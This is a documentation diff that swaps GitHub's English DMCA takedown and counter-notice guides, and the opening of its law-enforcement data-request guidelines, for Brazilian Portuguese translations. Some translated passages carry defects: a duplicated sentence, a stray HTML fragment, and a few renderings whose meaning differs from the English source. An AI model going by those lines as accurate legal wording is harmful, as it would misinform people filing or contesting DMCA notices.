-As noted in our [DMCA Takedown Policy](/articles/dmca-takedown-policy#d-transparency), **after redacting personal information,** we publish all complete and actionable counter notices at <https://github.com/github/dmca>. Please also note that, although we will only publicly publish redacted notices, we may provide a complete unredacted copy of any notices we receive directly to any party whose rights would be affected by it. If you are concerned about your privacy, you may have a lawyer or other legal representative file the counter notice on your behalf.
+***Seu contra-aviso será publicado.*** Conforme observado em nossa [Política de Contra-aviso DMCA](/articles/dmca-takedown-policy#d-transparency), **depois de suprimir as informações pessoais,** publicamos todos os contra-avisos completos e válidos em <https://github.com/github/dmca>. Note também que, embora divulguemos publicamente somente avisos com conteúdo pessoal suprimido, podemos fornecer uma cópia completa sem conteúdo suprimido de qualquer aviso que recebermos diretamente para qualquer uma das partes cujos direitos seriam afetados por ele. Se você está preocupado com sua privacidade, consulte um advogado para que ele envie o contra-aviso em seu nome.
 
-***GitHub Isn't The Judge.***
-GitHub exercises little discretion in this process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury.
+***O GitHub não é juiz.*** O GitHub se envolve pouco no processo, limitando-se a determinar se os avisos atendem aos requisitos mínimos da DMCA. Cabe às partes (e aos seus advogados) avaliar o mérito das suas reivindicações, tendo em conta que os avisos devem ser feitos corretamente sob pena de perjúrio.
 
-***Additional Resources.***
-If you need additional help, there are many self-help resources online. Lumen has an informative set of guides on [copyright](https://www.lumendatabase.org/topics/5) and [DMCA safe harbor](https://www.lumendatabase.org/topics/14). If you are involved with an open-source project in need of legal advice, you can contact the [Software Freedom Law Center](https://www.softwarefreedom.org/about/contact/). And if you think you have a particularly challenging case, non-profit organizations such as the [Electronic Frontier Foundation](https://www.eff.org/pages/legal-assistance) may also be willing to help directly or refer you to a lawyer.
+***Recursos Adicionais.*** Se você precisar de ajuda adicional, há muitos recursos de autoajuda online. A Lumen possui um conjunto informativo de guias sobre [direitos autorais](https://www.lumendatabase.org/topics/5) e [porto-seguro DMCA](https://www.lumendatabase.org/topics/14). Se você estiver envolvido com um projeto de código aberto precisando de aconselhamento jurídico, entre em contato com o [Software Freedom Law Center](https://www.softwarefreedom.org/about/contact/). E se você acredita que tem um caso particularmente desafiador, organizações sem fins lucrativos como a [Electronic Frontier Foundation](https://www.eff.org/pages/legal-assistance) também podem estar dispostas a ajudá-lo diretamente ou encaminhá-lo a um advogado.
 
-## Your Counter Notice Must...
+## Seu contra-aviso deve...
 
-1. **Include the following statement: "I have read and understand GitHub's Guide to Filing a DMCA Counter Notice."**
-We won't refuse to process an otherwise complete counter notice if you don't include this statement; however, we will know that you haven't read these guidelines and may ask you to go back and do so.
+1. **Incluir a seguinte instrução: "Eu li e compreendi o Guia do GitHub para o Preenchimento de um Contra-aviso DMCA.** Não nos recusaremos a processar um contra-aviso se você não incluir esta declaração. No entanto, saberemos que você não leu estas orientações e poderemos pedir para que você o faça.
 
-2. ***Identify the content that was disabled and the location where it appeared.***
-The disabled content should have been identified by URL in the takedown notice. You simply need to copy the URL(s) that you want to challenge.
+2. ***Identificar o conteúdo que foi desabilitado e o local onde aparece.*** O conteúdo desabilitado deve ser identificado pela URL no aviso de retirada. Você precisa simplesmente copiar a(s) URL(s) que você deseja alterar.
 
-3. **Provide your contact information.**
-Include your email address, name, telephone number, and physical address.
+3. **Fornecer suas informações de contato.** Inclua seu endereço de e-mail, nome, número de telefone e endereço físico.
 
-4. ***Include the following statement: "I swear, under penalty of perjury, that I have a good-faith belief that the material was removed or disabled as a result of a mistake or misidentification of the material to be removed or disabled."***
-You may also choose to communicate the reasons why you believe there was a mistake or misidentification. If you think of your counter notice as a "note" to the complaining party, this is a chance to explain why they should not take the next step and file a lawsuit in response. This is yet another reason to work with a lawyer when submitting a counter notice.
+4. ***Incluir a seguinte declaração: "Eu juro, sob pena de perjúrio, que acredito de boa-fé, que o material foi removido ou desabilitado em consequência de um erro ou de uma identificação incorreta do material a ser removido ou desabilitado.*** Você também pode optar por comunicar as razões pelas quais você acredita que houve um erro ou identificação incorreta. Se você pensar que seu contra-aviso representa uma "notificação" para a parte reclamante, essa é uma oportunidade para explicar por que razão ela não deve dar o próximo passo e ingressar com uma ação judicial em resposta. Esse é mais um motivo para contar com um advogado ao enviar um contra-aviso.
 
-5. ***Include the following statement: "I consent to the jurisdiction of Federal District Court for the judicial district in which my address is located (if in the United States, otherwise the Northern District of California where GitHub is located), and I will accept service of process from the person who provided the DMCA notification or an agent of such person."***
+5. ***Incluir a seguinte declaração: "Aceito a jurisdição do Tribunal Distrital Federal para a comarca em que meu endereço está localizado (caso esteja nos Estados Unidos, caso contrário, o Distrito do Norte da Califórnia, onde o GitHub está localizado), e aceitarei a citação processual da pessoa que forneceu o aviso DMCA ou um representante dessa pessoa".***
 
-6. **Include your physical or electronic signature.**
+6. **Incluir sua assinatura física ou eletrônica.**
 
-## How to Submit Your Counter Notice
+## Como enviar seu contra-aviso
 
-The fastest way to get a response is to enter your information and answer all the questions on our {% data variables.contact.contact_dmca %}.
+A maneira mais rápida de obter uma resposta é inserir suas informações e responder todas as perguntas em nosso {% data variables.contact.contact_dmca %}.
 
-You can also send an email notification to <copyright@github.com>. You may include an attachment if you like, but please also include a plain-text version of your letter in the body of your message.
+Você também pode enviar notificações de e-mail para <copyright@github.com>. Você pode incluir um anexo, se quiser, mas inclua também uma versão em texto simples da sua carta no corpo da sua mensagem.
 
-If you must send your notice by physical mail, you can do that too, but it will take *substantially* longer for us to receive and respond to it—and the 10-14 day waiting period starts from when we *receive* your counter notice. Notices we receive via plain-text email have a much faster turnaround than PDF attachments or physical mail. If you still wish to mail us your notice, our physical address is:
+Se você precisa enviar seu aviso por correio físico, você também pode fazê-lo, mas levaremos um tempo *substancialmente* maior para que possamos receber e responder a ele — e o período de espera de 10 a 14 dias começa a contar a partir do dia em que *recebermos* seu contra-aviso. Avisos que recebemos por e-mail em texto simples têm um tempo de resposta muito mais rápido do que por PDF anexado ou mensagem física. Se você ainda assim deseja nos enviar seu aviso por correio, nosso endereço físico é:
 
 ```
-GitHub, Inc
-Attn: DMCA Agent
-88 Colin P Kelly Jr St
-San Francisco, CA. 94107
+GitHub, Inc Attn: DMCA Agent
+88 Colin P Kelly Jr St San Francisco, CA. 94107
 ```
diff --git a/translations/pt-BR/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md b/translations/pt-BR/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md
index deccf23500..1323cbd663 100644
--- a/translations/pt-BR/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md
+++ b/translations/pt-BR/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md
@@ -1,5 +1,5 @@
 ---
-title: Guide to Submitting a DMCA Takedown Notice
+title: Guia de envio do aviso de retirada DMCA
 redirect_from:
   - /dmca-notice-how-to
   - /articles/dmca-notice-how-to
@@ -11,84 +11,81 @@ topics:
   - Legal
 ---
 
-This guide describes the information that GitHub needs in order to process a DMCA takedown request. If you have more general questions about what the DMCA is or how GitHub processes DMCA takedown requests, please review our [DMCA Takedown Policy](/articles/dmca-takedown-policy).
+Este guia descreve as informações de que o GitHub precisa para processar uma solicitação de retirada DMCA. Se você tiver dúvidas mais gerais sobre o que é a DMCA ou como o GitHub processa solicitações de retirada DMCA, por favor, reveja nossa [Política de Aviso de Retirada DMCA](/articles/dmca-takedown-policy).
 
-Due to the type of content GitHub hosts (mostly software code) and the way that content is managed (with Git), we need complaints to be as specific as possible. These guidelines are designed to make the processing of alleged infringement notices as straightforward as possible. Our form of notice set forth below is consistent with the form suggested by the DMCA statute, which can be found at the U.S. Copyright Office's official website: <https://www.copyright.gov>.
+Devido ao tipo de conteúdo que o GitHub hospeda (principalmente código de software) e a forma como o conteúdo é gerenciado (com o Git), precisamos que as queixas sejam as mais específicas possíveis. Essas diretrizes destinam-se a tornar o processamento dos alegados avisos de infração o mais simples possível. A nossa forma de aviso descrita abaixo é consistente com o formulário sugerido pelo estatuto DMCA, que pode ser encontrado no site oficial do Escritório de Direitos Autorais dos Estados Unidos: <https://www.copyright.gov>. Site oficial do escritório de direitos autorais: <https://www.copyright.gov>.
 
-As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such.
+Como em todas as questões jurídicas, é sempre melhor consultar um profissional sobre suas dúvidas ou situação específica. Incentivamos a fazê-lo antes de tomar quaisquer medidas que possam impactar seus direitos. Este guia não é um aconselhamento jurídico e não deve ser tomado como tal.
 
-## Before You Start
+## Antes de começar
 
-***Tell the Truth.*** The DMCA requires that you swear to the facts in your copyright complaint *under penalty of perjury*. It is a federal crime to intentionally lie in a sworn declaration. (*See* [U.S. Code, Title 18, Section 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) Submitting false information could also result in civil liability — that is, you could get sued for money damages. The DMCA itself [provides for damages](https://en.wikipedia.org/wiki/Online_Copyright_Infringement_Liability_Limitation_Act#%C2%A7_512(f)_Misrepresentations) against any person who knowingly materially misrepresents that material or activity is infringing.
+***Diga a verdade.*** A DMCA requer que você jure pelos fatos relatados na reclamação dos direitos autorais, *sob pena de perjúrio*. Nos Estados Unidos, é crime federal mentir intencionalmente numa declaração juramentada. (*Veja* [Código dos EUA, Título 18, Seção 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm). Código, Título 18, Seção 1621</a>.) O envio de informações falsas também poderia resultar em responsabilidade civil — ou seja, você poderia ser processado por danos financeiros. A própria DMCA [prevê danos](https://en.wikipedia.org/wiki/Online_Copyright_Infringement_Liability_Limitation_Act#%C2%A7_512(f)_Misrepresentations) contra qualquer pessoa que, intencionalmente, deturpe materialmente o material ou a atividade que está sendo alvo de denúncia de violação de direitos autorais.
 
-***Investigate.*** Millions of users and organizations pour their hearts and souls into the projects they create and contribute to on GitHub. Filing a DMCA complaint against such a project is a serious legal allegation that carries real consequences for real people. Because of that, we ask that you conduct a thorough investigation and consult with an attorney before submitting a takedown to make sure that the use isn't actually permissible.
+***Investigue.*** Milhões de usuários e organizações dedicam seus corações e mentes aos projetos para os quais eles contribuem e criam no GitHub. Apresentar uma queixa DMCA contra um projeto deste tipo é uma acusação jurídica grave que acarreta consequências reais para pessoas reais. Por causa disso, solicitamos que procedam a uma investigação minuciosa e consultem um advogado antes de apresentar um requerimento para se certificar de que tal uso não seja realmente permitido.
 
-***Ask Nicely First.*** A great first step before sending us a takedown notice is to try contacting the user directly. They may have listed contact information on their public profile page or in the repository's README, or you could get in touch by opening an issue or pull request on the repository. This is not strictly required, but it is classy.
+***Primeiro, peça gentilmente.*** Um ótimo primeiro passo antes de nos enviar um aviso é tentar entrar em contato diretamente com o usuário. Ele pode ter listado informações de contato na página de perfil público dele ou no README do repositório, ou você pode obter um contato abrindo um problema ou uma pull request no repositório. Isso não é estritamente necessário, mas é educado.
 
-***Send In The Correct Request.*** We can only accept DMCA takedown notices for works that are protected by copyright, and that identify a specific copyrightable work. If you have a complaint about trademark abuse, please see our [trademark policy](/articles/github-trademark-policy/). If you wish to remove sensitive data such as passwords, please see our [policy on sensitive data](/articles/github-sensitive-data-removal-policy/). If you are dealing with defamation or other abusive behavior, please see our [Community Guidelines](/articles/github-community-guidelines/).
+***Envie a solicitação correta.*** Só podemos aceitar avisos de DMCA para trabalhos protegidos por direitos autorais e que identifiquem um trabalho específico com direitos autorais. Se você tem uma reclamação sobre abuso de uso de marcas comerciais, por favor, veja nossa [Política de Marcas Registradas](/articles/github-trademark-policy/). Se você deseja remover dados confidenciais, como as senhas, consulte nossa [Política de Dados Confidenciais](/articles/github-sensitive-data-removal-policy/). Se estiver lidando com difamações ou outros comportamentos abusivos, veja as nossas [Diretrizes da Comunidade](/articles/github-community-guidelines/).
 
-***Code Is Different From Other Creative Content.*** GitHub is built for collaboration on software code. This makes identifying a valid copyright infringement more complicated than it might otherwise be for, say, photos, music, or videos.
+***Códigos são diferentes de outros conteúdos criativos.*** O GitHub foi projetado para a colaboração em código de softwares. Isto torna a identificação de uma violação válida dos direitos autorais mais complicada do que poderia ser, por exemplo, para fotos, música ou vídeos.
 
-There are a number of reasons why code is different from other creative content. For instance:
+Há uma série de razões pelas quais códigos são diferentes de outros conteúdos criativos. Por exemplo:
 
-- A repository may include bits and pieces of code from many different people, but only one file or even a sub-routine within a file infringes your copyrights.
-- Code mixes functionality with creative expression, but copyright only protects the expressive elements, not the parts that are functional.
-- There are often licenses to consider. Just because a piece of code has a copyright notice does not necessarily mean that it is infringing. It is possible that the code is being used in accordance with an open-source license.
-- A particular use may be [fair-use](https://www.lumendatabase.org/topics/22) if it only uses a small amount of copyrighted content, uses that content in a transformative way, uses it for educational purposes, or some combination of the above. Because code naturally lends itself to such uses, each use case is different and must be considered separately.
-- Code may be alleged to infringe in many different ways, requiring detailed explanations and identifications of works.
+- Um repositório pode incluir bits e pedaços de código de muitas pessoas diferentes, mas apenas um arquivo ou até mesmo uma subrotina dentro de um arquivo viola seus direitos autorais.
+- Códigos misturam funcionalidade com expressão criativa, mas os direitos autorais protegem apenas os elementos expressivos, não as partes funcionais.
+- Muitas vezes há licenças a considerar. O fato de uma peça de código ter um aviso de direitos autorais não significa, necessariamente, que esteja violando direitos. É possível que o código esteja sendo utilizado de acordo com uma licença de código aberto.
+- Um determinado uso pode ser considerado [justo](https://www.lumendatabase.org/topics/22) se utilizar apenas uma pequena quantidade de conteúdo com direitos autorais, se utilizar esse conteúdo de forma transformada, se usá-lo para fins educacionais, ou alguma combinação do exposto acima. Como o código se presta naturalmente a tais usos, cada caso de utilização é diferente, e deve ser considerado separadamente.
+- Códigos podem ser alegadamente violadores de direitos autorais de muitas maneiras diferentes, exigindo explicações pormenorizadas e identificações de trabalho.
 
-This list isn't exhaustive, which is why speaking to a legal professional about your proposed complaint is doubly important when dealing with code.
+Esta lista não é exaustiva, e é por isso que falar com um advogado sobre a queixa proposta é duplamente importante quando se trata de código.
 
-***No Bots.*** You should have a trained professional evaluate the facts of every takedown notice you send. If you are outsourcing your efforts to a third party, make sure you know how they operate, and make sure they are not using automated bots to submit complaints in bulk. These complaints are often invalid and processing them results in needlessly taking down projects!
+***Sem bots.*** Você precisa contar com a avaliação de um profissional treinado a respeito dos fatos de cada aviso de retirada que você envia. Se você estiver terceirizando seus esforços para terceiros, certifique-se de saber como eles operam, e certifique-se de que eles não estão usando bots automatizados para enviar reclamações em massa. Essas queixas são, muitas vezes, inválidas e o seu processamento resulta em projetos desnecessariamente retirados!
 
-***Matters of Copyright Are Hard.*** It can be very difficult to determine whether or not a particular work is protected by copyright. For example, facts (including data) are generally not copyrightable. Words and short phrases are generally not copyrightable. URLs and domain names are generally not copyrightable. Since you can only use the DMCA process to target content that is protected by copyright, you should speak with a lawyer if you have questions about whether or not your content is protectable.
+***Questões de direitos autorais são difíceis.*** Pode ser muito difícil determinar se um trabalho específico está protegido por direitos de autor. Por exemplo, fatos (incluindo dados), geralmente, não são protegidos por direitos autorais. Palavras e frases curtas, geralmente, não são protegidas por direitos autorais. URLs e nomes de domínio, geralmente, não são protegidos por direitos autorais. Considerando que você só pode usar o processo DMCA direcionado a conteúdos protegidos por direitos autorais, se tiver dúvidas sobre se o seu conteúdo é ou não protegido, consulte um advogado.
 
-***You May Receive a Counter Notice.*** Any user affected by your takedown notice may decide to submit a [counter notice](/articles/guide-to-submitting-a-dmca-counter-notice). If they do, we will re-enable their content within 10-14 days unless you notify us that you have initiated a legal action seeking to restrain the user from engaging in infringing activity relating to the content on GitHub.
+***Você pode receber um contra-aviso de retirada.*** Qualquer usuário afetado por seu aviso de retidada pode decidir enviar um [contra-aviso de retirada](/articles/guide-to-submitting-a-dmca-counter-notice). Se isso acontecer, reativaremos o conteúdo dele dentro de 10-14 dias, a menos que você nos notifique de que iniciou uma ação na justiça procurando impedir que o usuário se envolva em atividades infratoras relacionadas ao conteúdo no GitHub.
 
-***Your Complaint Will Be Published.*** As noted in our [DMCA Takedown Policy](/articles/dmca-takedown-policy#d-transparency), after redacting personal information, we publish all complete and actionable takedown notices at <https://github.com/github/dmca>.
+***Sua reclamação será publicada.*** Conforme observado em nossa [Política de retirada DMCA](/articles/dmca-takedown-policy#d-transparency), depois de excluir as informações pessoais, publicaremos em <https://github.com/github/dmca>, na íntegra, todos os avisos de retirada válidos recebidos.
 
-***GitHub Isn't The Judge.***
-GitHub exercises little discretion in the process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury.
+***O GitHub não é juiz.*** O GitHub se envolve pouco no processo, limitando-se a determinar se os avisos atendem aos requisitos mínimos da DMCA. Cabe às partes (e aos seus advogados) avaliar o mérito das suas reivindicações, tendo em conta que os avisos devem ser feitos corretamente sob pena de perjúrio.
 
-## Your Complaint Must ...
+## Sua reclamação deve...
 
-1. **Include the following statement: "I have read and understand GitHub's Guide to Filing a DMCA Notice."** We won't refuse to process an otherwise complete complaint if you don't include this statement. But we'll know that you haven't read these guidelines and may ask you to go back and do so.
+1. **Incluir a seguinte declaração: "Eu li e compreendi o Guia do GitHub para o Preenchimento de um Aviso DMCA".** Não nos recusaremos a processar um aviso, caso você não inclua essa declaração. Mas saberemos que você não leu essas diretrizes e poderemos pedir para que o faça.
 
-2. **Identify the copyrighted work you believe has been infringed.** This information is important because it helps the affected user evaluate your claim and give them the ability to compare your work to theirs. The specificity of your identification will depend on the nature of the work you believe has been infringed. If you have published your work, you might be able to just link back to a web page where it lives. If it is proprietary and not published, you might describe it and explain that it is proprietary. If you have registered it with the Copyright Office, you should include the registration number. If you are alleging that the hosted content is a direct, literal copy of your work, you can also just explain that fact.
+2. **Identificar o trabalho protegido por direitos autorais que você acredita ter sido violado.** Essa informação é importante porque ajuda o usuário afetado a avaliar sua reivindicação e a dar a ele a capacidade de comparar seu trabalho com o dele. A especificidade da sua identificação dependerá da natureza do trabalho que você acredita ter sido violado. Se você publicou seu trabalho, talvez consiga fornecer um link para a página web onde ele está hospedado. Se você for proprietário e não tiver publicado, poderá descrevê-lo e explicar que detém a propriedade. Se você o registrou no Escritório de Direitos Autorais, inclua o número de registro. Se você está alegando que o conteúdo hospedado é uma cópia direta e literal do seu trabalho, também pode explicar esse fato.
 
-3. **Identify the material that you allege is infringing the copyrighted work listed in item #2, above.** It is important to be as specific as possible in your identification. This identification needs to be reasonably sufficient to permit GitHub to locate the material. At a minimum, this means that you should include the URL to the material allegedly infringing your copyright. If you allege that less than a whole repository infringes, identify the specific file(s) or line numbers within a file that you allege infringe. If you allege that all of the content at a URL infringes, please be explicit about that as well. 
-   - Please note that GitHub will *not* automatically disable [forks](/articles/dmca-takedown-policy#b-what-about-forks-or-whats-a-fork) when disabling a parent repository. If you have investigated and analyzed the forks of a repository and believe that they are also infringing, please explicitly identify each allegedly infringing fork. Please also confirm that you have investigated each individual case and that your sworn statements apply to each identified fork. In rare cases, you may be alleging copyright infringement in a full repository that is actively being forked. If at the time that you submitted your notice, you identified all existing forks of that repository as allegedly infringing, we would process a valid claim against all forks in that network at the time we process the notice. We would do this given the likelihood that all newly created forks would contain the same content. In addition, if the reported network that contains the allegedly infringing content is larger than one hundred (100) repositories and thus would be difficult to review in its entirety, we may consider disabling the entire network if you state in your notice that, "Based on the representative number of forks you have reviewed, I believe that all or most of the forks are infringing to the same extent as the parent repository." Your sworn statement would apply to this statement.
+3. **Identificar o material que você alega estar violnado o trabalho protegido por direitos autorais listado no item #2 acima.** É importante ser o mais específico possível em sua identificação. Essa identificação precisa ser razoavelmente suficiente para permitir que o GitHub localize o material. No mínimo, isso significa que você deve incluir a URL do material que alegadamente viola seus direitos autorais. Se você alegar que um repositório não infringe os direitos autorais como um todo, identifique o(s) arquivo(s) específico(s) ou números de linhas dentro de um arquivo que você alega infringir. Se você alegar que todo o conteúdo de uma URL infringe os direitos, por favor, seja explícito a respeito disso também.
+   - Observe que o GitHub *não* desabilitará automaticamente [bifurcações](/articles/dmca-takedown-policy#b-what-about-forks-or-whats-a-fork) ao desabilitar um repositório principal. Se você investigou e analisou as bifurcações de um repositório e acredita que elas também estão infringindo direitos, por favor, identifique explicitamente cada bifurcação supostamente violadora. Por favor, confirme também que você investigou cada caso individual e que suas declarações juramentadas se aplicam a cada bifurcação identificada. Em casos raros, você pode estar alegando a violação de direitos autorais em um repositório completo que está sendo ativamente bifurcado. Se, no momento em que você enviou a notificação, você identificou todas as bifurcações existentes do repositório como supostamente violadas, nós processaríamos uma reivindicação válida contra todas as bifurcações dessa rede no momento em que processamos a notificação. Nós faríamos isso tendo em conta a probabilidade de todas as novas bifurcações criadas conterem o mesmo conteúdo. Além disso se a rede relatada que contém o conteúdo supostamente violador for superior a 100 (cem) repositórios, seria difícil, portanto, revisá-la na sua totalidade, e podemos considerar a desabilitação de toda a rede se você declarar na sua notificação que, "Com base no número representativo de bifurcações que você analisou, acredito que todos ou a maioria das bifurcações estão cometendo violações na mesma medida que o repositório principal". A sua declaração juramentada será aplicada a esta declaração.
 
-4. **Explain what the affected user would need to do in order to remedy the infringement.** Again, specificity is important. When we pass your complaint along to the user, this will tell them what they need to do in order to avoid having the rest of their content disabled. Does the user just need to add a statement of attribution? Do they need to delete certain lines within their code, or entire files? Of course, we understand that in some cases, all of a user's content may be alleged to infringe and there's nothing they could do short of deleting it all. If that's the case, please make that clear as well.
+4. **Explicar o que o usuário afetado precisa fazer para corrigir a infração.** Novamente, ser específico é importante. Ao passarmos sua reclamação para o usuário, ela precisa mostrar claramente o que ele precisa fazer para evitar que o resto do conteúdo seja desabilitado. O usuário precisa apenas adicionar uma declaração de atribuição? Ele precisa excluir determinadas linhas dentro do código deles, ou arquivos inteiros? Compreendemos que, em alguns casos, todo o conteúdo de um usuário pode supostamente estar infringido direitos e não há nada que ele possa fazer a não ser deletar tudo. Se esse for o caso, por favor, deixe isso claro.
 
-5. **Provide your contact information.** Include your email address, name, telephone number and physical address.
+5. **Fornecer suas informações de contato.** Inclua seu endereço de e-mail, nome, número de telefone e endereço físico.
 
-6. **Provide contact information, if you know it, for the alleged infringer.** Usually this will be satisfied by providing the GitHub username associated with the allegedly infringing content. But there may be cases where you have additional knowledge about the alleged infringer. If so, please share that information with us.
+6. **Fornecer informações de contato do infrator, caso conheça.** Geralmente, será suficiente fornecer o nome de usuário do GitHub associado ao conteúdo supostamente violador de direitos. Mas pode haver casos em que você tenha conhecimento adicional sobre o suposto infrator. Em caso afirmativo, compartilhe conosco essa informação.
 
-7. **Include the following statement: "I have a good faith belief that use of the copyrighted materials described above on the infringing web pages is not authorized by the copyright owner, or its agent, or the law. I have taken fair use into consideration."**
+7. **Incluir a afirmação a seguir: "Acredito, de boa fé, que o uso dos materiais protegidos por direitos autorais descritos acima, nas páginas infratoras, não foi autorizado pelo proprietário dos direitos autorais ou por seu agente ou pela lei. Levei em consideração o uso justo."**
 
-8. **Also include the following statement: "I swear, under penalty of perjury, that the information in this notification is accurate and that I am the copyright owner, or am authorized to act on behalf of the owner, of an exclusive right that is allegedly infringed."**
+8. **Incluir também a seguinte declaração: "Juro, sob pena de perjúrio, que a informação neste aviso é correta, e que sou o proprietário dos direitos autorais, ou estou autorizado a agir em nome do proprietário de um direito exclusivo que alegadamente foi violado."**
 
-9. **Include your physical or electronic signature.**
+9. **Incluir sua assinatura física ou eletrônica.**
 
-## Complaints about Anti-Circumvention Technology
+## Queixas sobre Tecnologia Anticircunvenção
 
-The Copyright Act also prohibits the circumvention of technological measures that effectively control access to works protected by copyright. If you believe that content hosted on GitHub violates this prohibition, please send us a report through our {% data variables.contact.contact_dmca %}. A circumvention claim must include the following details about the technical measures in place and the manner in which the accused project circumvents them. Specifically, the notice to GitHub must include detailed statements that describe:
-1. What the technical measures are;
-2. How they effectively control access to the copyrighted material; and 
-3. How the accused project is designed to circumvent their previously described technological protection measures.
+A Lei de Direitos Autorais proíbe, igualmente, que se burle medidas tecnológicas que controlem efetivamente o acesso às obras protegidas pelos direitos de autor. Se você acredita que o conteúdo hospedado no GitHub viola esta proibição, envie-nos um relatório por meio de nossa {% data variables.contact.contact_dmca %}. Uma alegação de circunvenção deve incluir os pormenores a seguir sobre as medidas técnicas em vigor e a forma como o projeto acusado as contorna. Principalmente, o aviso ao GitHub deve incluir declarações detalhadas que descrevem:
+1. Quais são as medidas técnicas;
+2. Como controlam, de forma eficaz, o acesso ao material protegido por direitos autorais; e
+3. O modo como o projecto acusado foi concebido para contornar as medidas de proteção tecnológica anteriormente descritas.
 
-## How to Submit Your Complaint
+## Como enviar sua reclamação
 
-The fastest way to get a response is to enter your information and answer all the questions on our {% data variables.contact.contact_dmca %}.
+A maneira mais rápida de obter uma resposta é inserir suas informações e responder todas as perguntas em nosso {% data variables.contact.contact_dmca %}.
 
-You can also send an email notification to <copyright@github.com>. You may include an attachment if you like, but please also include a plain-text version of your letter in the body of your message.
+Você também pode enviar notificações de e-mail para <copyright@github.com>. Você pode incluir um anexo, se quiser, mas inclua também uma versão em texto simples da sua carta no corpo da sua mensagem.
 
-If you must send your notice by physical mail, you can do that too, but it will take *substantially* longer for us to receive and respond to it. Notices we receive via plain-text email have a much faster turnaround than PDF attachments or physical mail. If you still wish to mail us your notice, our physical address is:
+Se você precisa enviar o aviso por correio físico, você também pode fazer isso, mas vai demorar *substancialmente* para que possamos receber e responder. Avisos que recebemos por e-mail em texto simples têm um tempo de resposta muito mais rápido do que por PDF anexado ou mensagem física. Se você ainda assim deseja nos enviar seu aviso por correio, nosso endereço físico é:
 
 ```
-GitHub, Inc
-Attn: DMCA Agent
-88 Colin P Kelly Jr St
-San Francisco, CA. 94107
+GitHub, Inc Attn: DMCA Agent
+88 Colin P Kelly Jr St San Francisco, CA. 94107
 ```
diff --git a/translations/pt-BR/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md b/translations/pt-BR/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md
index d78d303584..ef9cd8563b 100644
--- a/translations/pt-BR/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md
+++ b/translations/pt-BR/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md
@@ -1,5 +1,5 @@
 ---
-title: Guidelines for Legal Requests of User Data
+title: Diretrizes para solicitações legais de dados do usuário
 redirect_from:
   - /law-enforcement-guidelines
   - /articles/guidelines-for-legal-requests-of-user-data
@@ -10,241 +10,185 @@ topics:
   - Legal
 ---
 
-Are you a law enforcement officer conducting an investigation that may involve user content hosted on GitHub?
-Or maybe you're a privacy-conscious person who would like to know what information we share with law enforcement and under what circumstances.
-Either way, you're on the right page.
+Você é um oficial da lei que está conduzindo uma investigação envolvendo o conteúdo de usuário hospedado no GitHub? Ou talvez você seja uma pessoa consciente de privacidade que gostaria de saber quais informações compartilhamos com um oficial da lei e sob quais circunstâncias. De qualquer forma, você está na página certa.
 
-In these guidelines, we provide a little background about what GitHub is, the types of data we have, and the conditions under which we will disclose private user information.
-Before we get into the details, however, here are a few important details you may want to know:
+Nessas diretrizes, informamos quem é o GitHub, os tipos de dados que temos, e as condições em que divulgaremos as informações privadas do usuário. Antes de entrarmos nos detalhes, aqui estão alguns dados importantes que você pode querer saber:
 
-- We will [**notify affected users**](#we-will-notify-any-affected-account-owners) about any requests for their account information, unless prohibited from doing so by law or court order.
-- We will not disclose **location-tracking data**, such as IP address logs, without a [valid court order or search warrant](#with-a-court-order-or-a-search-warrant).
-- We will not disclose any **private user content**, including the contents of private repositories, without a valid [search warrant](#only-with-a-search-warrant).
+- Vamos [**notificar os usuários afetados**](#we-will-notify-any-affected-account-owners) sobre quaisquer solicitações sobre suas informações de conta, a menos que seja proibido fazê-lo por lei ou por decisão judicial.
+- Não divulgaremos **dados de rastreamento de localização**, tais como registros de endereços IP, sem uma [ordem judicial válida ou mandado de busca](#with-a-court-order-or-a-search-warrant).
+- Não divulgaremos nenhum **conteúdo privado do usuário**, incluindo o conteúdo de repositórios privados, sem um [mandado de busca válido](#only-with-a-search-warrant).
 
-## About these guidelines
+## Sobre estas diretrizes
 
-Our users trust us with their software projects and code—often some of their most valuable business or personal assets.
-Maintaining that trust is essential to us, which means keeping user data safe, secure, and private.
+Nossos usuários nos confiam seus projetos e códigos de software — muitas vezes, alguns dos seus negócios ou ativos pessoais mais valiosos. Manter essa confiança é essencial para nós, o que significa manter os dados do usuário protegidos, seguros e privados.
 
-While the overwhelming majority of our users use GitHub's services to create new businesses, build new technologies, and for the general betterment of humankind, we recognize that with millions of users spread all over the world, there are bound to be a few bad apples in the bunch.
-In those cases, we want to help law enforcement serve their legitimate interest in protecting the public.
+Embora a esmagadora maioria de nossos usuários use os serviços do GitHub para criar novos negócios, construir novas tecnologias e melhorar a humanidade em geral, reconhecemos que, com milhões de usuários espalhados por todo o mundo, haverá certamente algumas maçãs podres. Nesses casos, queremos ajudar no cumprimento da lei e proteger nosso público.
 
-By providing guidelines for law enforcement personnel, we hope to strike a balance between the often competing interests of user privacy and justice.
-We hope these guidelines will help to set expectations on both sides, as well as to add transparency to GitHub's internal processes.
-Our users should know that we value their private information and that we do what we can to protect it.
-At a minimum, this means only releasing data to third-parties when the appropriate legal requirements have been satisfied.
-By the same token, we also hope to educate law enforcement professionals about GitHub's systems so that they can more efficiently tailor their data requests and target just that information needed to conduct their investigation.
